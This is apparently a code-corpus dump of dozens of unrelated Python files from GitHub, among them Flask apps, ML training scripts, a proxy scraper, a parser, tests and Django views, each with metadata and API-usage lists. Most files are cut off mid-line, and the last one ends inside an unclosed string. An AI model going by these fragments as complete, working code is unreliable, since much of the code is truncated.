from flask_security import Security, SQLAlchemyUserDatast... | gmldusdkwk/Big-Data | 0727/app.py | app.py | py | 5,629 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "flask.Flask",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "flask_moment.Moment",
"line_number": 27,
"usage_type": "call"
},
{
"api_name": "flask_sqlalchemy.SQLAlchemy",
"line_number": 28,
"usage_type": "call"
},
{
"api_name": "flask_goo... |
35580246140 | import sys
import datetime
import os
class StreamCipherUtil:
def __init__(self, input_file, output_file, key):
self.key = key
self.output_file = output_file
self.input_file = input_file
self.exec_time = None
self.text_len = 0
self.bit_stream = self._pm_rand()
... | Kamkas/Stream-cipher | lab2.py | lab2.py | py | 3,322 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "os.stat",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "sys.stdout.write",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "sys.stdout",
"line_number": 22,
"usage_type": "attribute"
},
{
"api_name": "sys.stdout.flush",
"line... |
1777450651 | import spacy
# Load the English language model
nlp = spacy.load('en_core_web_sm')
# Load the scraped text from the file
with open('website_text.txt', 'r') as f:
text = f.read()
# Process the text with spaCy
doc = nlp(text)
# Extract the sentences
sentences = [sent.text.strip() for sent in doc.sents... | anupshrestha7171/FinalTaskOnMentorFriends | Qn2.py | Qn2.py | py | 341 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "spacy.load",
"line_number": 4,
"usage_type": "call"
}
] |
36840712959 | """Unit tests for the resmokelib.testing.executor module."""
import logging
import threading
import unittest
import mock
from opentelemetry.context.context import Context
from buildscripts.resmokelib import errors
from buildscripts.resmokelib.testing import job
from buildscripts.resmokelib.testing import queue_eleme... | mongodb/mongo | buildscripts/tests/resmokelib/testing/test_job.py | test_job.py | py | 13,936 | python | en | code | 24,670 | github-code | 36 | [
{
"api_name": "unittest.TestCase",
"line_number": 20,
"usage_type": "attribute"
},
{
"api_name": "mock.Mock",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "logging.getLogger",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "mock.Mock",
"l... |
24340323309 | from PySide2.QtWidgets import QApplication
from PySide2.QtUiTools import QUiLoader
from PySide2.QtCore import QFile
import DCT,DFT,histogram_equalization,gray,nose,buguize,duishu,gamma,test_fenge,test_kuang,test_face3,junzhi
class Stats:
def __init__(self):
qufile_stats=QFile('GUI1.ui')
qufile_stat... | lightning-skyz/test1 | GUI.py | GUI.py | py | 1,906 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "PySide2.QtCore.QFile",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "PySide2.QtCore.QFile.ReadOnly",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "PySide2.QtCore.QFile",
"line_number": 8,
"usage_type": "name"
},
{
"api_nam... |
17106762661 | import os
import copy
from typing import Set
from collections import defaultdict
inputPath = os.path.join(os.path.dirname(__file__), "input")
with open(inputPath, "r") as inputFile:
lines = [line.strip() for line in inputFile.readlines() if line.strip()]
class Pos:
def __init__(self, x: int, y: int, z: int... | mmmaxou/advent-of-code | 2020/day-17/answer.py | answer.py | py | 6,664 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.path.join",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "os.path.dirname",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "typing.Set",
"line_number"... |
37695484761 | from random import randint
from concurrent.futures import ThreadPoolExecutor as pool
import random
import os
import subprocess
import re
import requests
import json
import time
class Prox:
def __init__(self):
self.alive=[]
self.unfiltered=[]
self.get_proxy('https://free-pro... | adnangif/getproxy | getproxy.py | getproxy.py | py | 2,645 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "time.sleep",
"line_number": 30,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_number": 37,
"usage_type": "call"
},
{
"api_name": "re.findall",
"line_number": 40,
"usage_type": "call"
},
{
"api_name": "time.sleep",
"line_number": 43... |
27969273118 | import numpy as np
from scipy import optimize
class KernelSVC:
def __init__(self, C, kernel, epsilon=1e-3):
self.type = 'non-linear'
self.C = C
self.kernel = kernel
self.alpha = None
self.support = None
self.epsilon = epsilon
self.norm_f = None
self... | Zero-4869/Kernel-methods | classifier.py | classifier.py | py | 2,631 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.diag",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "numpy.sum",
"line_number": 27,
"usage_type": "call"
},
{
"api_name": "numpy.diag",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "numpy.ones",
"line_number": 33,
... |
36947774959 | __revision__ = "src/engine/SCons/Tool/gs.py bee7caf9defd6e108fc2998a2520ddb36a967691 2019-12-17 02:07:09 bdeegan"
import SCons.Action
import SCons.Builder
import SCons.Platform
import SCons.Util
# Ghostscript goes by different names on different platforms...
platform = SCons.Platform.platform_default()
if platform =... | mongodb/mongo | src/third_party/scons-3.1.2/scons-local-3.1.2/SCons/Tool/gs.py | gs.py | py | 1,659 | python | en | code | 24,670 | github-code | 36 | [
{
"api_name": "SCons.Action.Platform.platform_default",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "SCons.Action.Platform",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "SCons.Action",
"line_number": 9,
"usage_type": "name"
},
{
"api_n... |
7638888119 | # -*- coding: utf-8 -*-
"""
Created on Mon Sep 29 17:03:06 2014
@author: aaron
"""
import neblina as nb ### Module for neblina interpreter.
import operators as op ### Module for operators functions.
import ioFunctions as io ### Module for write on disk functions.
import gnuplot ... | hiperwalk/hiperwalk | Archive/staggered1d.py | staggered1d.py | py | 2,333 | python | en | code | 6 | github-code | 36 | [
{
"api_name": "config.OVERLAP",
"line_number": 22,
"usage_type": "attribute"
},
{
"api_name": "config.OVERLAPX",
"line_number": 23,
"usage_type": "attribute"
},
{
"api_name": "config.TESSELLATIONPOLYGONS",
"line_number": 23,
"usage_type": "attribute"
},
{
"api_nam... |
30221585975 | from bs4 import BeautifulSoup
import requests
import csv
import pandas as pd
import os
source = requests.get('https://www.centuryply.com/centurylaminates/')
soup = BeautifulSoup(source.content, 'lxml')
for main in soup.select('li.dropdown-submenu'):
for a_link in main.find_all('a'):
try:
t_l... | jhankarnarang/Century-Plywood-Web-Scraping | Century Laminates/main.py | main.py | py | 2,060 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "requests.get",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "bs4.BeautifulSoup",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "os.path.exists",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_numbe... |
74060635624 | """
Twilio API NTS token
"""
import asyncio
from functools import partial
from twilio.rest import Client as TwilioRestClient
from server.config import config
class TwilioNTS:
"""
Twilio NTS Token Service
Creates new twilio NTS tokens
"""
def __init__(self, sid=None, token=None):
if si... | FAForever/server | server/ice_servers/nts.py | nts.py | py | 1,056 | python | en | code | 64 | github-code | 36 | [
{
"api_name": "server.config.config.TWILIO_ACCOUNT_SID",
"line_number": 22,
"usage_type": "attribute"
},
{
"api_name": "server.config.config",
"line_number": 22,
"usage_type": "name"
},
{
"api_name": "server.config.config.TWILIO_TOKEN",
"line_number": 24,
"usage_type": "a... |
19909624310 | """MAIN MODULE TO RUN"""
from datetime import datetime
import stonk_functions as func
#gets the top sector for the week
sectorOG = func.get_sector()
sector = (sectorOG.replace(' ','')).lower()
#gets todays date
day = datetime.today().strftime('%A')
if day.lower() in ("saturday", "sunday"):
day = "Frida... | abbasn785/Stock-Market-Watchlist-Assistant | stonks.py | stonks.py | py | 2,001 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "stonk_functions.get_sector",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "datetime.datetime.today",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "d... |
22827039598 | import sqlite3
__author__ = 'marcelo_garay'
import os
class DBManager(object):
db_name = os.path.abspath(
os.path.join(os.path.dirname(__file__), '../../../db/sicarios'))
def __init__(self):
"""
Make connection to an SQLite database file
:param db:
:retu... | edson-gonzales/SICARIOS | src/db/transactions/DBManager.py | DBManager.py | py | 825 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.path.abspath",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "os.path.join",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 9... |
23666599352 | import sys
sys.path.append('../')
import numpy as np
import matplotlib.pyplot as plt
from GroupingAlgorithm import groupingWithOrder
from utils import Label2Chain, H2O, save_object
from joblib import delayed, Parallel
import networkx as nx
from itertools import permutations
from tqdm.auto import tqdm
import copy
sys... | sergiomtzlosa/HEEM | Codes/deprecated/Grouping_shuffle_vs_connectivity.py | Grouping_shuffle_vs_connectivity.py | py | 3,807 | python | en | code | null | github-code | 36 | [
{
"api_name": "sys.path.append",
"line_number": 3,
"usage_type": "call"
},
{
"api_name": "sys.path",
"line_number": 3,
"usage_type": "attribute"
},
{
"api_name": "sys.setrecursionlimit",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "copy.deepcopy",
... |
42117172102 | from gpiozero import Button, PWMLED, MotionSensor
from time import sleep, time
from signal import pause
from datetime import datetime, timedelta
import simpleaudio as sa
from models import Game, Goal, Team
from game_history import send_game_history
from constants import UI_GAME_CLOCK, UI_TEAM1_SCORE, UI_TEAM2_SCORE
imp... | hobe-studios/foos-tracks | rasppi/score_keeper.py | score_keeper.py | py | 7,000 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "simpleaudio.WaveObject.from_wave_file",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "simpleaudio.WaveObject",
"line_number": 14,
"usage_type": "attribute"
},
{
"api_name": "threading.Thread",
"line_number": 30,
"usage_type": "attribute"
},
... |
71311470503 | import numpy as np
from sklearn.utils.validation import check_array, check_scalar
from scipy import stats
def z_test_one_sample(sample_data, mu_0, sigma, test_type="two-sided"):
"""Perform a one-sample z-test.
Parameters
----------
sample_data : array-like of shape (n_samples,)
Sample data d... | KlaraGtknst/e2ml_SoSe23 | e2ml/e2ml/evaluation/_one_sample_tests.py | _one_sample_tests.py | py | 3,888 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "sklearn.utils.validation.check_array",
"line_number": 32,
"usage_type": "call"
},
{
"api_name": "sklearn.utils.validation.check_scalar",
"line_number": 33,
"usage_type": "call"
},
{
"api_name": "sklearn.utils.validation.check_scalar",
"line_number": 34,
"us... |
35029256291 | from mpl_toolkits.axes_grid1 import make_axes_locatable
import matplotlib.pyplot as plt
import numpy as np
from collections.abc import Iterable
def colorbar(mappable, pad=0.1, side="right"):
'''
colorbar whose height (or width) in sync with the master axe
https://matplotlib.org/mpl_toolkits/axes_grid/use... | harrisonv789/Astro_Scripts | modules/colorbar_utils.py | colorbar_utils.py | py | 2,405 | python | en | code | 3 | github-code | 36 | [
{
"api_name": "mpl_toolkits.axes_grid1.make_axes_locatable",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "numpy.zeros",
"line_number": 30,
"usage_type": "call"
},
{
"api_name": "numpy.zeros",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "n... |
41946416343 |
import numpy as np
import cv2
import glob
from matplotlib import pyplot as plt
import os
from mpl_toolkits.mplot3d import axes3d, Axes3D
base_folder = os.getcwd() +'/parameters/'
s = cv2.FileStorage(base_folder + 'left_camera_intrinsics.xml', cv2.FileStorage_READ)
mtx_left = s.getNode('mtx_left').mat()
distCoeffs_l... | YB-Joe/Perception_in_Robotics | project_2a/code/task_4/task_4.py | task_4.py | py | 2,903 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.getcwd",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "cv2.FileStorage",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "cv2.FileStorage_READ",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "cv2.FileStorage",
... |
24199168182 | import asyncio
import logging
import random
from enum import Enum
from uuid import uuid4
import websockets
from wired_exchange.kucoin import CandleStickResolution
from typing import Union
WS_OPEN_TIMEOUT = 10
WS_CONNECTION_TIMEOUT = 3
class WebSocketState(Enum):
STATE_WS_READY = 1
STATE_WS_CLOSING = 2
c... | WiredSharp/wiredExchange | wired_exchange/kucoin/WebSocket.py | WebSocket.py | py | 9,314 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "enum.Enum",
"line_number": 17,
"usage_type": "name"
},
{
"api_name": "enum.Enum",
"line_number": 22,
"usage_type": "name"
},
{
"api_name": "uuid.uuid4",
"line_number": 49,
"usage_type": "call"
},
{
"api_name": "logging.getLogger",
"line_number":... |
15119831760 | import requests
def get_page(name):
url = "https://fr.wikipedia.org/w/api.php?"
try:
response = requests.get(
url,
params={
"action": "query",
"list": "search",
"srsearch": name,
"format": "json",
},
... | PjuchNicz/Projet-ISKR | python/enrichment/wikipedia.py | wikipedia.py | py | 2,040 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "requests.get",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "requests.exceptions",
"line_number": 20,
"usage_type": "attribute"
},
{
"api_name": "requests.get",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "requests.exceptions... |
27764760485 | import ply.yacc as yacc
from anytree import Node
from lex import Lexer
class Parser():
# Tokens do processo de análise léxica
tokens = Lexer.tokens
def __init__(self, **kwargs):
self.totalLines = 0
self.result = True
self.lexer = Lexer()
self.parser = yacc.yacc(module=self, **kwargs)
def f_... | alanrps/Compilador_Linguagem_Tpp | parser.py | parser.py | py | 16,635 | python | pt | code | 0 | github-code | 36 | [
{
"api_name": "lex.Lexer.tokens",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "lex.Lexer",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "lex.Lexer",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "ply.yacc.yacc",
"line_num... |
7282602903 | ################################################################################
# 1. Including files
################################################################################
import xlrd
################################################################################
# 2. Class definition
#####################... | duattn1/STM32F4Discovery_Unit_Testing | Script/UnitTestScript/XlsProcessing.py | XlsProcessing.py | py | 4,938 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "xlrd.open_workbook",
"line_number": 92,
"usage_type": "call"
}
] |
6084331741 | import collections
def number_of_islands(grid):
# this problem can be approached by dfs/bfs approach
# base case
if not grid:
return 0
ROWS, COLS = len(grid), len(grid[0])
visit = set()
island = 0
def bfs(r, c):
# since bfs, need a queue
# append r, c immediately... | phuclinh9802/data_structures_algorithms | blind 75/number_of_islands.py | number_of_islands.py | py | 1,416 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "collections.deque",
"line_number": 18,
"usage_type": "call"
}
] |
8670535309 | import logging
from cterasdk import CTERAException
def suspend_filer_sync(self=None, device_name=None, tenant_name=None):
"""Suspend sync on a device"""
logging.info("Starting suspend sync task.")
try:
device = self.devices.device(device_name, tenant_name)
device.sync.suspend(wait=True)
... | ctera/ctools | suspend_sync.py | suspend_sync.py | py | 477 | python | en | code | 4 | github-code | 36 | [
{
"api_name": "logging.info",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "logging.info",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "logging.warning",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "logging.error",
"line_nu... |
8625978148 | import os
import torch
def load_checkpoint(path):
if os.path.isdir(path):
path = os.path.join(path, 'checkpoint_best.pt')
dst = f'cuda:{torch.cuda.current_device()}'
print(f'Loading checkpoint from {path}')
checkpoint = torch.load(path, map_location=dst)
return checkpoint
ckpt = load_checkpoint("./LM-T... | enod/Nvidia-Transformer-XL | pytorch/generate.py | generate.py | py | 5,024 | python | en | code | 5 | github-code | 36 | [
{
"api_name": "os.path.isdir",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 5,
"usage_type": "attribute"
},
{
"api_name": "os.path.join",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 6,
... |
34366485863 | from scripts.leet75.reverse_string import Solution
class Test:
test_cases = [
[["h", "e", "l", "l", "o"], ["o","l","l","e","h"]],
[["H","a","n","n","a","h"], ["h","a","n","n","a","H"]],
[["h"], ["h"]],
[[], []],
]
def test_reverse_string(self):
soln = Solution()
... | TrellixVulnTeam/learning_to_test_code_BL81 | tests/leet75/test_reverse_string.py | test_reverse_string.py | py | 740 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "scripts.leet75.reverse_string.Solution",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "scripts.leet75.reverse_string.Solution",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "scripts.leet75.reverse_string.Solution",
"line_number": 27,
... |
11715375830 | from typing import Literal
import beaker as bk
from pyteal import (
Expr,
Global,
InnerTxnBuilder,
Int,
Seq,
Txn,
TxnField,
TxnType,
abi,
)
app = bk.Application("EventTicket")
@app.external
def create_asset(
assetName: abi.String,
assetUrl: abi.String,
assetTotal: abi... | freddyblockchain/AlgokitProject | smart_contracts/code/eventticket.py | eventticket.py | py | 2,429 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "beaker.Application",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "pyteal.abi.String",
"line_number": 21,
"usage_type": "attribute"
},
{
"api_name": "pyteal.abi",
"line_number": 21,
"usage_type": "name"
},
{
"api_name": "pyteal.abi.Strin... |
19933632487 | """
Your Library Page Testing
This script tests the Your Library Page functions and report the results to allure
This script requires `allure` and `pytest` be installed within the Python environment you are running this script in
"""
import time
import allure
import pytest
from Web_Testing.Pages.WebPlayerLibrary im... | Project-X9/Testing | Web_Testing/Tests/test_yourLibrary.py | test_yourLibrary.py | py | 5,634 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "Web_Testing.helperClasses.WebHelper",
"line_number": 28,
"usage_type": "call"
},
{
"api_name": "Web_Testing.helperClasses.WebHelper",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "Web_Testing.helperClasses.WebHelper",
"line_number": 34,
"usage_t... |
19509726145 | #README
'''
buka file dengan cara mengetikan:
python main.py "folder_yang_berisi_data_csv"
selama fungsi login belum jadi, cara keluar program adalah control + "c"
'''
#import modul yang dibuat
from read_csv import load
from add_data import *
from write_csv import save
from login import login
from caritahun import... | bryanbernigen/TubesSem2 | main.py | main.py | py | 8,850 | python | id | code | 0 | github-code | 36 | [
{
"api_name": "argparse.ArgumentParser",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "os.getcwd",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"line_number": 27,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_nu... |
73485605863 | import argparse
import os
import uuid
import numpy as np
import torch
from torch import optim
from torch.nn import functional
from torch.utils.data import DataLoader
from datasets import load_metric
import albumentations
from albumentations.pytorch import ToTensorV2
from tqdm import tqdm
from utils import set_see... | lexiconium/2022_ai_online_competition-sementic_segmentation | train_twin_head_segformer.py | train_twin_head_segformer.py | py | 5,536 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "argparse.ArgumentParser",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "utils.set_seed",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "uuid.uuid4",
"line_number": 35,
"usage_type": "call"
},
{
"api_name": "torch.device",
... |
8490770607 | #%%
import numpy as np
import pandas as pd
from sklearn import metrics
from matplotlib import pyplot as plt
import glob
#%%
class Takens:
'''
constant
'''
tau_max = 30
'''
initializer
'''
def __init__(self, data,tau=None):
self.data = data
if tau is None:
self.tau, self.nmi = self.__search_... | kei-mo/BehavCrassificationElegans_TDE | tde.py | tde.py | py | 3,519 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.roll",
"line_number": 32,
"usage_type": "call"
},
{
"api_name": "numpy.roll",
"line_number": 33,
"usage_type": "call"
},
{
"api_name": "numpy.array",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "numpy.histogram",
"line_number"... |
70477030183 | import os
import pandas as pd
from selenium import webdriver
from selenium.webdriver.common.by import By
from lxml import etree
browser = webdriver.Chrome()
browser.maximize_window() # 창 최대화
# 1. 페이지 이동
url = 'https://finance.naver.com/sise/sise_market_sum.naver?&page='
browser.get(url) # 해당 url로 페이지 이동
# 2. 조회 항목 초... | thisiswoo/python_practice | naver_stock_crawling/market_cap.py | market_cap.py | py | 2,652 | python | ko | code | 0 | github-code | 36 | [
{
"api_name": "selenium.webdriver.Chrome",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "selenium.webdriver",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "selenium.webdriver.common.by.By.NAME",
"line_number": 15,
"usage_type": "attribute"
},
{
... |
24065321916 | import os
import psutil
import platform
from gns3server.web.route import Route
from gns3server.config import Config
from gns3server.schemas.version import VERSION_SCHEMA
from gns3server.compute.port_manager import PortManager
from gns3server.version import __version__
from aiohttp.web import HTTPConflict
class Serve... | vieyahn/docker-cisco-lab | gns3server/gns3server/handlers/api/compute/server_handler.py | server_handler.py | py | 2,414 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "gns3server.config.Config.instance",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "gns3server.config.Config",
"line_number": 21,
"usage_type": "name"
},
{
"api_name": "gns3server.version.__version__",
"line_number": 23,
"usage_type": "name"
},
... |
26259789038 | # Problem : Inverse Geodesic using GeographicLib
from geographiclib.geodesic import Geodesic
geod = Geodesic.WGS84 # กำหนดให้เป็นแบบจำลอง WGS84
def Geodesic_Inverse( lat1, lng1, lat2, lng2 ): # สร้างฟังก์ชันเพื่อหา Geodesic ด้วยวิธิ Inverse
result = geod.Inverse(lat1, lng1, lat2, lng2)
# กำหนด result เพื่อร... | isara-c/Geodesy-SurveyEng | GeodesicAirliner.py | GeodesicAirliner.py | py | 1,163 | python | th | code | 0 | github-code | 36 | [
{
"api_name": "geographiclib.geodesic.Geodesic.WGS84",
"line_number": 4,
"usage_type": "attribute"
},
{
"api_name": "geographiclib.geodesic.Geodesic",
"line_number": 4,
"usage_type": "name"
}
] |
14934819007 | import pytest
from dbt.tests.adapter.utils.data_types.test_type_bigint import BaseTypeBigInt
from dbt.tests.adapter.utils.data_types.test_type_bigint import (
models__actual_sql as bigint_model,
)
from dbt.tests.adapter.utils.data_types.test_type_bigint import (
models__expected_sql as bigint_expected,
)
from d... | firebolt-db/dbt-firebolt | tests/functional/adapter/utils/test_data_types.py | test_data_types.py | py | 3,823 | python | en | code | 26 | github-code | 36 | [
{
"api_name": "dbt.tests.adapter.utils.data_types.test_type_bigint.BaseTypeBigInt",
"line_number": 58,
"usage_type": "name"
},
{
"api_name": "dbt.tests.adapter.utils.data_types.test_type_bigint.models__expected_sql",
"line_number": 63,
"usage_type": "name"
},
{
"api_name": "dbt.t... |
32527451220 | import requests
from bs4 import BeautifulSoup
from multiprocessing import Pool
def get_web_source():
with open('pylib_data.html','r') as r:
data = r.read()
return data
#print(data)
def get_url_list(web_source):
#url = 'https://www.lfd.uci.edu/~gohlke/pythonlibs/'
base_url = 'https://download.lf... | MrDannyWu/DannyPythonStudy | py_script/get_python_libs.py | get_python_libs.py | py | 1,785 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "bs4.BeautifulSoup",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_number": 43,
"usage_type": "call"
},
{
"api_name": "multiprocessing.Pool",
"line_number": 52,
"usage_type": "call"
}
] |
37088074525 | # -*- coding: utf-8 -*-
import MySQLdb as MySQL # pip install mysqlclient
class WorkWithDb:
def __init__(self):
pass
def perform_connection(self):
try_connection_count = 0
print("Подключение к базе...")
while try_connection_count <= 3:
try:
self.d... | Swarmi24/Lazy24 | workwithdb.py | workwithdb.py | py | 3,260 | python | ru | code | 0 | github-code | 36 | [
{
"api_name": "MySQLdb.connect",
"line_number": 15,
"usage_type": "call"
}
] |
9395923393 | import oci
import paramiko
import json
def submit_hadoop_job(job_params):
ssh_client = paramiko.SSHClient()
ssh_client.load_system_host_keys()
instance_ip = "YOUR_INSTANCE_IP"
private_key_path = "/path/to/your/private/key"
# Connect to the Hadoop cluster using SSH
ssh_client.set_missing_host_... | rclevenger-hm/oci-hadoop-job-automation | function/submit_hadoop_job.py | submit_hadoop_job.py | py | 1,588 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "paramiko.SSHClient",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "paramiko.AutoAddPolicy",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "paramiko.RSAKey",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "json.loads",... |
12085831934 | from django.urls import re_path, include
from registration import views
from django.contrib.auth import views as auth_views
urlpatterns = [
re_path(r'^login/$', auth_views.login, name='login'),
re_path(r'^logout/$', auth_views.logout, {'next_page': '/'}, name='logout'),
re_path(r'^signup/$', views.signup,... | rgeurgas/Sid | registration/urls.py | urls.py | py | 575 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.urls.re_path",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "django.contrib.auth.views.login",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "django.contrib.auth.views",
"line_number": 7,
"usage_type": "name"
},
{
"a... |
31266470749 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import django.utils.timezone
from django.conf import settings
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations ... | unkvuzutop/product | product/migrations/0001_initial.py | 0001_initial.py | py | 2,443 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.db.migrations.Migration",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "django.db.migrations",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "django.db.migrations.swappable_dependency",
"line_number": 12,
"usage_type": "call... |
28721703847 | import warnings
import statsmodels.api as sm
from statsmodels.stats.outliers_influence import variance_inflation_factor
def print_vif(x):
"""Utility for checking multicollinearity assumption
:param x: input features to check using VIF. This is assumed to be a pandas.DataFrame
:return: nothing is retu... | Ninjaneer1/theWorks | print_vif.py | print_vif.py | py | 803 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "warnings.catch_warnings",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "warnings.simplefilter",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "statsmodels.api.add_constant",
"line_number": 15,
"usage_type": "call"
},
{
"api_na... |
18395372288 | """
Produce the feature importance matrices for the trained RF models as in Figures 4-6 of Appleby+2023.
"""
import matplotlib
import matplotlib.pyplot as plt
import seaborn as sns
import numpy as np
import pandas as pd
import pickle
import sys
from sklearn.ensemble import RandomForestRegressor, ExtraTreesRegressor
... | sarahappleby/cgm_ml | plot_feature_importance.py | plot_feature_importance.py | py | 5,793 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.random.seed",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "numpy.random",
"line_number": 20,
"usage_type": "attribute"
},
{
"api_name": "matplotlib.pyplot.rc",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "matplotlib.p... |
12868339424 | from typing import List
from name_genie.common import data_dao_stem, data_dao_male_suffix, data_dao_female_suffix, data_shared_dao, data_shared_thing, data_shared_adj, data_shared_number
from name_genie.util import to_str
import random
__all__ = ['get_daos']
stems = data_dao_stem + data_shared_dao + data_shared_thin... | name-genie/name-genie-python | name_genie/dao.py | dao.py | py | 1,399 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "name_genie.common.data_dao_stem",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "name_genie.common.data_shared_dao",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "name_genie.common.data_shared_thing",
"line_number": 9,
"usage_type": "na... |
30397116642 | from dagger import conf
from dagger.dag_creator.graph_traverser_base import GraphTraverserBase
from dagger.graph.task_graph import Graph
from dagger.utilities import uid
from neo4j import GraphDatabase
class DagCreator(GraphTraverserBase):
def __init__(self, task_graph: Graph):
super().__init__(task_graph... | siklosid/dagger | dagger/dag_creator/neo4j/dag_creator.py | dag_creator.py | py | 4,182 | python | en | code | 7 | github-code | 36 | [
{
"api_name": "dagger.dag_creator.graph_traverser_base.GraphTraverserBase",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "dagger.graph.task_graph.Graph",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "dagger.conf.NE4J_HOST",
"line_number": 12,
"usage_... |
19682706596 | import datetime
import json
import requests
from apps.findprice.models import Product, CATEGORY_CHOICES, Scan, User
from apps.findprice.serializers import ProductSerializer, ScanSerializer, ProductsCatSerializer, \
ScansForProductSerializer
from django.contrib.auth.forms import SetPasswordForm
from django.http imp... | gdoganieri/backendfindprice | apps/findprice/views.py | views.py | py | 2,711 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "rest_framework.viewsets.ModelViewSet",
"line_number": 14,
"usage_type": "attribute"
},
{
"api_name": "rest_framework.viewsets",
"line_number": 14,
"usage_type": "name"
},
{
"api_name": "apps.findprice.serializers.ProductSerializer",
"line_number": 15,
"usag... |
12887801729 | import spacy
from spacy import displacy
nlp = spacy.load('en_coref_md')
print("loaded")
text = r'''
